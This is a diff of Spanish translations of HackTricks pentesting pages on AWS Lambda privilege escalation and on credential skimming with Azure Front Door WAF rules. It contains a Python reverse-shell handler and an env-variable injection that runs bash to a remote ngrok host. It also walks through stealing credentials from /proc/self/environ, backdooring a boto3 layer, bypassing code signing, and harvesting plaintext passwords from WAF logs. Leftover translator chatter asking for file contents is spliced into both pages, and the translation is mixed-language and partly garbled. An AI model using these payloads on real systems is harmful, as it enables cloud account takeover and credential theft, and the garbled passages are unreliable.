Pueden **crear una nueva función Lambda y asignarle un rol IAM existente**, otorgando a la función los permisos asociados a ese rol. El usuario puede entonces **escribir y subir código a esta función Lambda (por ejemplo, con un rev shell)**.\
|
||||
Una vez configurada la función, el usuario puede **disparar su ejecución** y las acciones deseadas invocando la función Lambda a través del AWS API. Este enfoque permite efectivamente al usuario realizar tareas de forma indirecta mediante la función Lambda, operando con el nivel de acceso concedido al rol IAM asociado.\\
|
||||
|
||||
Un atacante podría abusar de esto para obtener una **rev shell y robar el token**:
|
||||
Un atacante podría abusar de esto para obtener un **rev shell y robar el token**:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
También podrías **abuse the lambda role permissions** desde la propia función lambda.\
|
||||
Si el lambda role tuviera suficientes permisos, podrías usarlo para concederte permisos de administrador:
|
||||
También podrías **abusar de los permisos del role de lambda** desde la propia función lambda.\\
|
||||
Si el role de lambda tuviera suficientes permisos, podrías usarlo para concederte permisos de administrador:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
También es posible leak las credenciales del rol de la lambda sin necesitar una conexión externa. Esto sería útil para **Network isolated Lambdas** usadas en tareas internas. Si existen security groups desconocidos que estén filtrando tus reverse shells, este fragmento de código te permitirá leak directamente las credenciales como la salida de la lambda.
|
||||
También es posible leak the lambda's role credentials sin necesidad de una conexión externa. Esto sería útil para **Network isolated Lambdas** usadas en tareas internas. Si hay security groups desconocidos filtrando tus reverse shells, este fragmento de código te permitirá leak directamente las credentials como la salida del lambda.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -75,7 +75,7 @@ cat output.txt
|
||||
**Impacto potencial:** Privesc directo al rol de servicio lambda arbitrario especificado.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que, aunque pueda parecer interesante, **`lambda:InvokeAsync`** **no** permite por sí sola **ejecutar `aws lambda invoke-async`**, también necesita `lambda:InvokeFunction`
|
||||
> Ten en cuenta que, aunque pueda parecer interesante, **`lambda:InvokeAsync`** **no** permite por sí sola **ejecutar `aws lambda invoke-async`**, también necesitas `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
@@ -85,21 +85,21 @@ Como en el escenario anterior, puedes **concederte a ti mismo el permiso `lambda
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**Impacto potencial:** privesc directo al role de servicio Lambda arbitrario especificado.
|
||||
**Impacto potencial:** Direct privesc al rol de servicio de lambda arbitrario especificado.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
Los usuarios con **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permisos (y potencialmente `dynamodb:PutItem` y `dynamodb:CreateTable`) pueden indirectamente **escalate privileges** incluso sin `lambda:InvokeFunction`.\
|
||||
Pueden crear una **Lambda function con código malicioso y asignarle un IAM role existente**.
|
||||
Los usuarios con **`iam:PassRole`, `lambda:CreateFunction` y `lambda:CreateEventSourceMapping`** (y potencialmente `dynamodb:PutItem` y `dynamodb:CreateTable`) pueden, de forma indirecta, **escalar privilegios** incluso sin `lambda:InvokeFunction`.\
|
||||
Pueden crear una **función Lambda con código malicioso y asignarle un rol IAM existente**.
|
||||
|
||||
En lugar de invocar la Lambda directamente, el usuario configura o utiliza una tabla DynamoDB existente, vinculándola a la Lambda mediante un event source mapping. Esta configuración garantiza que la Lambda function sea **triggered automatically upon a new item** en la tabla, ya sea por la acción del usuario u otro proceso, invocando así indirectamente la Lambda function y ejecutando el código con los permisos del IAM role pasado.
|
||||
En vez de invocar la Lambda directamente, el usuario configura o utiliza una tabla DynamoDB existente, vinculándola a la Lambda mediante un event source mapping. Esta configuración asegura que la función Lambda se **dispare automáticamente al insertarse un nuevo ítem** en la tabla, ya sea por acción del usuario u otro proceso, invocando así indirectamente la función Lambda y ejecutando el código con los permisos del rol IAM pasado.
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
Si DynamoDB ya está activo en el entorno de AWS, el usuario solo **necesita establecer el event source mapping** para la función Lambda. Sin embargo, si DynamoDB no está en uso, el usuario debe **crear una nueva tabla** con streaming habilitado:
|
||||
Si DynamoDB ya está activo en el entorno AWS, el usuario solo **necesita establecer el mapeo de origen de eventos** para la función Lambda. Sin embargo, si DynamoDB no está en uso, el usuario debe **crear una nueva tabla** con streaming habilitado:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
Ahora es posible **conectar la función Lambda a la tabla DynamoDB** creando un **event source mapping**:
|
||||
Ahora es posible **conectar la función Lambda a la tabla DynamoDB** al **crear un event source mapping**:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Con la Lambda function vinculada al DynamoDB stream, el attacker puede activar indirectamente la Lambda al activar el DynamoDB stream. Esto se puede lograr insertando un item en la DynamoDB table:
|
||||
Con la función Lambda vinculada al DynamoDB stream, el atacante puede **desencadenar indirectamente la Lambda activando el DynamoDB stream**. Esto se puede lograr **insertando un elemento** en la tabla de DynamoDB:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**Impacto potencial:** privesc directo al rol de servicio de lambda especificado.
|
||||
**Impacto potencial:** Privesc directo al rol de servicio de lambda especificado.
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
Un atacante con este permiso puede **concederse a sí mismo (u a otros) cualquier permiso** (esto genera resource based policies para otorgar acceso al recurso):
|
||||
Un atacante con este permiso puede **concederse (o conceder a otros) cualquier permiso** (esto genera políticas basadas en recursos para otorgar acceso al recurso):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -130,11 +130,11 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**Impacto potencial:** Privesc directo al lambda service role utilizado al conceder permiso para modificar el código y ejecutarlo.
|
||||
**Potential Impact:** Privesc directo al rol de servicio de lambda al otorgar permiso para modificar el código y ejecutarlo.
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
Un atacante con este permiso puede **concederse (o conceder a otros) el permiso `lambda:GetLayerVersion`**. Podría acceder a la layer y buscar vulnerabilidades o información sensible.
|
||||
Un atacante con este permiso puede **concederse a sí mismo (o a otros) el permiso `lambda:GetLayerVersion`**. Podría acceder a la layer y buscar vulnerabilidades o información sensible
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Los usuarios con el permiso **`lambda:UpdateFunctionCode`** tienen la capacidad de **modificar el código de una función Lambda existente que está vinculada a un rol de IAM.**\
|
||||
El atacante puede **modificar el código de la lambda para exfiltrate las credenciales de IAM**.
|
||||
Los usuarios que poseen el permiso **`lambda:UpdateFunctionCode`** tienen el potencial de **modificar el código de una función Lambda existente que está vinculada a un IAM role.**\
|
||||
El atacante puede **modificar el código de la función Lambda para exfiltrate the IAM credentials**.
|
||||
|
||||
Aunque el atacante puede que no tenga la capacidad directa para invocar la función, si la función Lambda es preexistente y está operativa, es probable que se active a través de flujos de trabajo o eventos existentes, facilitando así de forma indirecta la ejecución del código modificado.
|
||||
Aunque el atacante podría no tener la capacidad directa para invocar la función, si la función Lambda es preexistente y está en funcionamiento, es probable que se active mediante flujos de trabajo o eventos existentes, facilitando así de forma indirecta la ejecución del código modificado.
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**Potential Impact:** Privesc directo al role de servicio de lambda usado.
|
||||
**Impacto potencial:** Privesc directo al rol de servicio de lambda usado.
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE via env variables
|
||||
|
||||
Con este permiso es posible añadir variables de entorno que harán que la Lambda ejecute código arbitrario. Por ejemplo en python es posible abusar de las variables de entorno `PYTHONWARNING` y `BROWSER` para que un proceso python ejecute comandos arbitrarios:
|
||||
Con estos permisos es posible añadir variables de entorno que harán que la Lambda ejecute código arbitrario. Por ejemplo en python es posible abusar de las variables de entorno `PYTHONWARNING` y `BROWSER` para que un proceso de python ejecute comandos arbitrarios:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
Para otros lenguajes de scripting hay otras env variables que puedes usar. Para más información consulta las subsecciones de lenguajes de scripting en:
|
||||
Para otros lenguajes de scripting existen otras env variables que puedes usar. Para más información, consulta las subsecciones de lenguajes de scripting en:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
@@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
|
||||
|
||||
#### RCE via Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **code** en tu función lambda pero **almacenarlo por separado**, de modo que el function code pueda mantenerse pequeño y **varias funciones pueden compartir code**.
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **code** en tu función lamdba pero **almacenarlo por separado**, de modo que el code de la función pueda permanecer pequeño y **varias funciones pueden compartir code**.
|
||||
|
||||
Dentro de Lambda puedes comprobar las rutas desde las que se carga el python code con una función como la siguiente:
|
||||
Dentro de lambda puedes comprobar las rutas desde las que se carga el python code con una función como la siguiente:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -198,37 +198,37 @@ These are the places:
|
||||
9. /opt/python/lib/python3.7/site-packages
|
||||
10. /opt/python
|
||||
|
||||
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
|
||||
Por ejemplo, la biblioteca boto3 se carga desde `/var/runtime/boto3` (4ª posición).
|
||||
|
||||
#### Explotación
|
||||
|
||||
Es posible abusar del permiso `lambda:UpdateFunctionConfiguration` para **añadir una nueva capa** a una función lambda. Para ejecutar código arbitrario, esta capa debe contener alguna **biblioteca que la lambda vaya a importar.** Si puedes leer el código de la lambda, podrías encontrarla fácilmente; ten en cuenta también que podría ser posible que la lambda **ya esté usando una capa** y podrías **descargar** la capa y **añadir tu código** allí.
|
||||
Es posible abusar del permiso `lambda:UpdateFunctionConfiguration` para **añadir un nuevo layer** a una función lambda. Para ejecutar código arbitrario, este layer debe contener alguna **biblioteca que la lambda va a importar.** Si puedes leer el código de la función lambda, podrías encontrar esto fácilmente; también ten en cuenta que podría ser posible que la lambda ya esté **usando un layer** y podrías **descargar** el layer y **añadir tu código** allí.
|
||||
|
||||
Por ejemplo, supongamos que la lambda está usando la biblioteca boto3; esto creará una capa local con la última versión de la biblioteca:
|
||||
Por ejemplo, supongamos que la lambda está usando la biblioteca boto3; esto creará un layer local con la última versión de la biblioteca:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
Puedes abrir `./lambda_layer/boto3/__init__.py` y **añadir el backdoor en el código global** (por ejemplo, una función para exfiltrate credentials o conseguir un reverse shell).
|
||||
Puedes abrir `./lambda_layer/boto3/__init__.py` y **añadir la backdoor en el código global** (una función para exfiltrate credentials o obtener un reverse shell, por ejemplo).
|
||||
|
||||
Luego, comprime ese directorio `./lambda_layer` y **sube el nuevo lambda layer** a tu propia cuenta (o a la de la víctima, pero puede que no tengas permisos para ello).\
|
||||
Ten en cuenta que necesitas crear una carpeta python y colocar las librerías ahí para sobrescribir /opt/python/boto3. Además, la layer debe ser **compatible con la versión de python** usada por la lambda y, si la subes a tu cuenta, debe estar en la **misma región:**
|
||||
Ten en cuenta que necesitas crear una carpeta python y colocar las librerías allí para sobrescribir /opt/python/boto3. Además, la layer necesita ser **compatible con la versión de python** usada por la lambda y, si la subes a tu cuenta, debe estar en la **misma región:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
Ahora, haga que la lambda layer cargada sea **accesible por cualquier cuenta**:
|
||||
Ahora, haga que el lambda layer subido sea **accesible por cualquier cuenta**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
Y adjunta la lambda layer a la victim lambda function:
|
||||
Y adjunta el lambda layer a la victim lambda function:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
El siguiente paso sería o bien **invocar la función** nosotros mismos si podemos o esperar hasta que se **invoque** por medios normales — que es el método más seguro.
|
||||
El siguiente paso sería o bien **invocar la función** nosotros mismos si podemos o esperar hasta que **se invoque** por medios normales–lo cual es el método más seguro.
|
||||
|
||||
Una **forma más sigilosa de explotar esta vulnerabilidad** se puede encontrar en:
|
||||
|
||||
@@ -236,15 +236,15 @@ Una **forma más sigilosa de explotar esta vulnerabilidad** se puede encontrar e
|
||||
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Escalada de privilegios directa al role del servicio lambda utilizado.
|
||||
**Impacto potencial:** Privesc directo al role de servicio lambda usado.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
Quizá con esos permisos puedas crear una función y ejecutarla llamando a la URL... pero podría encontrar una forma de probarlo, ¡avísame si lo haces!
|
||||
Quizá con esos permisos puedas crear una función y ejecutarla llamando a la URL... pero pude encontrar una forma de probarlo, así que avísame si lo haces!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
Algunas lambdas van a estar **recibiendo información sensible de los usuarios en parámetros.** Si obtienes RCE en una de ellas, puedes exfiltrar la información que otros usuarios le están enviando; revísalo en:
|
||||
Algunas lambdas van a estar **recibiendo información sensible de los usuarios en parámetros.** Si obtienes RCE en una de ellas, puedes exfiltrate la info que otros usuarios le están enviando, revísalo en:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
@@ -255,25 +255,22 @@ Algunas lambdas van a estar **recibiendo información sensible de los usuarios e
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
|
||||
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
|
||||
Si una función Lambda exige code signing, un atacante que pueda eliminar la Code Signing Config (CSC) o degradarla a WARN puede desplegar unsigned code en la función. Esto evita las protecciones de integridad sin modificar el IAM role de la función ni sus triggers.
|
||||
|
||||
Permisos (uno de):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Notas:
|
||||
- Para Path B, no necesitas un AWS Signer profile si la política del CSC está configurada en `WARN` (se permiten artefactos no firmados).
|
||||
- Para Path B, no necesitas un AWS Signer profile si la política de CSC está configurada como `WARN` (artefactos sin firmar permitidos).
|
||||
|
||||
Pasos (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
|
||||
Prepara un pequeño payload:
|
||||
Prepara un payload pequeño:
|
||||
```bash
|
||||
cat > handler.py <<'PY'
|
||||
import os, json
|
||||
@@ -292,7 +289,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Ruta B) Degradar a Warn y actualizar code (si delete no está permitido):
|
||||
Ruta B) Rebajar a Warn y actualizar el código (si eliminar no está permitido):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
@@ -303,15 +300,23 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Confirmo: puedo traducir ese archivo siguiendo las reglas indicadas. Por favor, pega aquí el contenido de src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md para proceder.
|
||||
Confirmo. Para proceder necesito que pegues aquí el contenido de src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md.
|
||||
|
||||
Traduciré el texto relevante del inglés al español manteniendo exactamente la misma sintaxis Markdown/HTML y cumpliendo estas reglas:
|
||||
- No traducir código, nombres de técnicas de hacking, palabras comunes de hacking, nombres de plataformas cloud/SaaS (ej. Workspace, aws, gcp...), la palabra "leak", pentesting, enlaces ni etiquetas/paths.
|
||||
- No traducir links, refs ni paths (p. ej. lamda-post-exploitation.md).
|
||||
- No traducir ni modificar tags como {#tabs}, {#tab name="Method1"}, {#ref}...{#endref}, {#include ...}, etc.
|
||||
- No añadir contenido extra fuera de la traducción y la sintaxis Markdown/HTML.
|
||||
|
||||
Envía el contenido y lo traduzco.
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
Impacto potencial: Capacidad para subir y ejecutar código arbitrario no firmado en una función que se suponía debía aplicar despliegues firmados, lo que podría conducir a la ejecución de código con los permisos del rol de la función.
|
||||
Impacto potencial: Capacidad para subir y ejecutar código arbitrario no firmado en una función que se suponía debía imponer despliegues firmados, lo que podría conducir a la ejecución de código con los permisos del rol de la función.
|
||||
|
||||
Limpieza:
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,18 +1,81 @@
|
||||
# Az - Comparticiones de Archivos
|
||||
# Az - Front Door
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bypass de RemoteAddr
|
||||
## RemoteAddr Bypass
|
||||
|
||||
Este **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** explica cómo, al configurar algunas restricciones de red con Azure Front Door, puedes filtrar en función de **`RemoteAddr`** o **`SocketAddr`**. Siendo la principal diferencia que **`RemoteAddr`** utiliza el valor del encabezado HTTP **`X-Forwarded-For`**, lo que facilita mucho el bypass.
|
||||
This **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** explica cómo, cuando configuras ciertas restricciones de red con Azure Front Door, puedes filtrar basándote en **`RemoteAddr`** o **`SocketAddr`**. La diferencia principal es que **`RemoteAddr`** usa en realidad el valor de la cabecera HTTP **`X-Forwarded-For`**, lo que hace muy fácil el bypass.
|
||||
|
||||
Para eludir esta regla, se pueden utilizar herramientas automatizadas que **fuerzan direcciones IP** hasta encontrar una válida.
|
||||
Para realizar un bypass de esta regla se pueden usar herramientas automatizadas que **brute-force IP addresses** hasta encontrar una válida.
|
||||
|
||||
Esto se menciona en la [documentación de Microsoft](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
|
||||
Esto se menciona en la [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
|
||||
|
||||
## Credential Skimming via WAF Custom Rules + Log Analytics
|
||||
|
||||
## Referencias
|
||||
Abusar de Azure Front Door (AFD) WAF Custom Rules en combinación con Log Analytics para capturar credenciales en texto claro (u otros secretos) que atraviesen el WAF. Esto no es una CVE; es el uso indebido de funcionalidades legítimas por cualquiera que pueda modificar la WAF policy y leer sus logs.
|
||||
|
||||
Key behavior enabling this:
|
||||
- AFD WAF Custom Rules pueden hacer match en elementos de la request, incluyendo headers y parámetros POST.
|
||||
- Cuando una Custom Rule usa la acción Log traffic only, la evaluación continúa y el tráfico procede (no hay short-circuit), manteniendo el flujo normal/stealthy.
|
||||
- AFD escribe diagnósticos detallados en Log Analytics bajo la Category FrontDoorWebApplicationFirewallLog. Los detalles de la carga coincidente se incluyen en details_matches_s junto con el nombre de la regla en ruleName_s.
|
||||
|
||||
### Flujo de trabajo de extremo a extremo
|
||||
|
||||
1. Identificar parámetros POST objetivo
|
||||
- Inspecciona el formulario de login y anota los nombres de los parámetros (p. ej., username, password).
|
||||
|
||||
2. Habilitar diagnósticos en Log Analytics
|
||||
- En tu Front Door profile > Monitoring > Diagnostic settings, envía los logs a un Log Analytics workspace.
|
||||
- Como mínimo, habilita la categoría: FrontDoorWebApplicationFirewallLog.
|
||||
|
||||
3. Crear una Custom Rule maliciosa
|
||||
- Front Door WAF Policy > Custom rules > New rule:
|
||||
- Name: nombre inocuo, p. ej., PasswordCapture
|
||||
- Priority: número bajo (p. ej., 5) para que se evalúe temprano
|
||||
- Match: argumentos POST username y password con Operator = Any (match any value)
|
||||
- Action: Log traffic only
|
||||
|
||||
4. Generar eventos
|
||||
```bash
|
||||
curl -i -X POST https://example.com/login \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data "username=alice&password=S3cret!"
|
||||
```
|
||||
5. Extraer credenciales de Log Analytics (KQL)
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog"
|
||||
| where ruleName_s == "PasswordCapture"
|
||||
| project TimeGenerated, ruleName_s, details_matches_s
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
No veo el contenido del archivo. Por favor pega aquí el contenido completo de src/pentesting-cloud/azure-security/az-services/az-front-door.md que quieres traducir y lo traduciré al español manteniendo exactamente el mismo markdown/html, tags y rutas según tus instrucciones.
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
|
||||
| extend m = parse_json(details_matches_s)
|
||||
| mv-expand match = m.matches
|
||||
| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
Los valores que coinciden aparecen en details_matches_s e incluyen los valores en cleartext que coincidieron con tu regla.
|
||||
|
||||
### ¿Por qué Front Door WAF y no Application Gateway WAF?
|
||||
- Los registros de custom-rule de Application Gateway WAF no incluyen los valores POST/header ofensivos de la misma manera; los diagnósticos de AFD WAF incluyen el contenido matched en details, permitiendo la captura de credenciales.
|
||||
|
||||
### Sigilo y variantes
|
||||
- Configura Action a "Log traffic only" para evitar romper solicitudes y para que otras reglas sigan evaluándose normalmente.
|
||||
- Usa una Priority numérica baja para que tu regla de logging se evalúe antes que cualquier regla Block/Allow posterior.
|
||||
- Puedes apuntar a cualquier nombre/ubicación sensible, no solo POST params (p. ej., headers como Authorization o API tokens en campos del body).
|
||||
|
||||
### Requisitos previos
|
||||
- Una instancia existente de Azure Front Door.
|
||||
- Permisos para editar la política de AFD WAF y leer el Log Analytics workspace asociado.
|
||||
|
||||
## References
|
||||
|
||||
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
|
||||
- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
|
||||
- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user